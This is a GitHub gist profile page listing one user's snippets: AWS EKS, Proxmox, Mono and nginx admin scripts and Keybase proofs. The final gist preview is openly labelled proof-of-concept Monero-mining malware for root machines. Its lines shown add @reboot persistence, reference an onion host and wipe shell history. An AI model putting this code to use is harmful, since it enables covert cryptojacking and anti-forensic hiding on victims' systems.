Skip to content

Instantly share code, notes, and snippets.

View Elycin's full-sized avatar
🗺️
Exploring

Ely Erin Haughie Elycin

🗺️
Exploring
View GitHub Profile
@Elycin
Elycin / aws-auth-cm.sh
Created August 28, 2022 03:28 — forked from pmatv/aws-auth-cm.sh
Map IAM group to EKS ConfigMap
#!/usr/bin/env bash
set -o errexit
set -o nounset
set -o pipefail
IAM_GROUP=${1:-admins}
EKS_ROLE_ARN=${2:-arn:aws:iam::111122223333:role/eks-node-role}
RBAC_GROUP=${3:-system:masters}
@Elycin
Elycin / update.sh
Last active April 18, 2022 08:54
Proxmox updater
#!/usr/bin/env bash
function update_container {
if command -v apt-get &> /dev/null
then
echo "apt-get detected"
apt-get update
apt-get upgrade -y
apt-get autoremove -y
apt-get clean
@Elycin
Elycin / twitter.md
Last active December 25, 2019 09:59
Keybase Verificaton is failing on twitter.
@Elycin
Elycin / keybase.md
Last active September 29, 2019 03:32
keybase.md

Keybase proof

I hereby claim:

  • I am elycin on github.
  • I am foxwithpaws (https://keybase.io/foxwithpaws) on keybase.
  • I have a public key ASD3nduKuUpJQmzrwpszgcI0ER9e-HenQIOrSuFqLyjdpgo

To claim this, I am signing this object:

#!/usr/bin/env bash
# It's become a problem for me that the latest versions of mono aren't exactly available for the lastest version of Ubuntu,
# Ubuntu 18.04 as the repositories still carry a fairly old version of monodevelop-4.8
# This quick snippet will add a repository that will install the latest mono.
# At the time of writing this, 5.12.x
wget http://download.mono-project.com/repo/xamarin.gpg
sudo apt-key add xamarin.gpg
echo "deb http://download.mono-project.com/repo/debian wheezy main" | sudo tee --append /etc/apt/sources.list.d/mono-xamarin.list
@Elycin
Elycin / gist:c70dffc4ab22e4c2e11ef3468eedbc81
Created March 27, 2018 08:03
IPMI NGINX Reverse Proxy (Removed HTTPS configuration)
upstream ipmi_backend {
# the ipmi server
server 192.168.1.74:443;
keepalive 64;
}
server {
# nginx listens to this
listen 80;
@Elycin
Elycin / keybase.md
Created March 19, 2018 09:30
keybase.md

Keybase proof

I hereby claim:

  • I am elycin on github.
  • I am iamelycin (https://keybase.io/iamelycin) on keybase.
  • I have a public key whose fingerprint is 6536 C395 5847 62C3 193C CE2C F8DB 97CA 925B C0B5

To claim this, I am signing this object:

@Elycin
Elycin / poc_monero_mining_malware.sh
Last active December 12, 2017 10:48
Proof of concept malware that can be used with xmr-stak to create someone profit on root machines.
#!/bin/bash
ONION="http://myonion.onion";
EXEC_PATH="/etc/stak"
RUN="cd $EXEC_PATH && screen -S xmr-stak -d -m $EXEC_PATH/xmr-stak";
EXEC="@reboot $RUN";
unset HISTFILE;
echo "unset HISTFILE" >> ~/.bashrc;
history -c;